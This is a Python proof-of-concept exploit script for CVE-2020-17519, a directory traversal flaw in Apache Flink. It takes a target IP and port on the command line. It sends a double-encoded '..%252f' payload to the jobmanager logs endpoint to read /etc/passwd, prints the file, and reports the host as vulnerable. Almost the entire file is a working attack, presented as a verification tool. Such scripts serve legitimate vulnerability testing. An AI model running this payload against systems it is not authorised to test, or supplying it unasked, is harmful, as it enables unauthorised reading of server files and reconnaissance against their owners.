# -*- encoding: utf-8 -*-
# Author: hailan
# apache_flink cve-2020-17519

import requests
import argparse

print("""
  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/ 

""")

def flink_dir_traversal(protocol,ip,port):
    url = protocol + '://' + ip + ':' + str(port)
    payload = "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    vul_url = url + payload
    print('[+] Targeting  ' + url)

    try:
        headers={
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Content-Type': "application/json/x-www-form-urlencoded",
        'Accept': '*/*',
        'Connection': "close"}
        response = requests.get(url=vul_url,headers=headers,verify=False,allow_redirects=False)
        print(response.text)
        if b'/usr/sbin/nologin' in response.content:
            message = '[+] There is an Apache Flink(cve-2020-17519) vulnerability on url: '
            return message, url
        else:
            pass
    except Exception as e:
        print(str(e))

    message = '[-] There is no vulnerability in the traget IP on url: '
    return message, url


if __name__ == '__main__':
    parse = argparse.ArgumentParser(description="This script is used to verify Apache Flink directory traversal vulnerability (cve-2020-17519)")
    parse.add_argument('-P', '--protocol', type=str, metavar='Protocol', required=True,help='please enter Remote target protocol')
    parse.add_argument('-t','--target',type=str,metavar='IPaddress',required=True,help='please enter Remote target IP')
    parse.add_argument('-p','--port',type=int,metavar='PORT',default=8081,help='please enter remote target Port')
    args = parse.parse_args()
    print(flink_dir_traversal(args.protocol,args.target,args.port))
